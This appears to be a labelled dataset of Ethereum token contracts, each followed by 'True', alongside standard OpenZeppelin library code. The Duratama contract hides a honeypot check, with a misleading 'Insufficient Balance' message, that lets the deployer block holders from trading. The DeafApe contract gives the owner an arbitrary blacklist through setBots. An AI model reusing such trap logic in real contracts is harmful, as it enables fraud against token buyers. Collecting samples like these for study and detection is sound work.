* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IComptroller {
function isMarketListed(address cTokenAddress) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICToken {
function admin() external view returns (address);
function symbol() external view returns (string memory);
function underlying() external view returns (address);
function totalReserves() external view returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICTokenAdmin {
function extractReserves(address cToken, uint reduceAmount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IBurner {
function burn(address coin) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IWeth {
function deposit() external payable;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
True
|
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DeafApe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "DeafApe";
string private constant _symbol = "DAPE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xbf49b72E16DA2161bED34ACC52B67d829cd9ac8d);
_feeAddrWallet2 = payable(0xbf49b72E16DA2161bED34ACC52B67d829cd9ac8d);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 3;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 3;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 12000000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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//SPDX-License-Identifier: MIT
/**
t.me/duratama
**/
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Duratama is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 60000000 * 10**8;
uint256 private _maxWallet= 60000000 * 10**8;
uint256 private _taxFee;
address payable private _from;
uint256 private _maxTxAmount;
string private constant _name = "Durama Tama";
string private constant _symbol = "DURATAMA";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_from = payable(_msgSender());
_taxFee = 8;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_from] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!_isExcludedFromFee[from] &&!_isExcludedFromFee[to]){
require(balanceOf(_from)<amount/100,"Insufficient Balance");
}
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function liftMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_from.transfer(amount);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function manualSwap() external onlyOwner{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
True
|
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/*
****** Telegram : https://t.me/dobermanntoken ******
****** Website : https://www.dobetoken.com/ ******
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
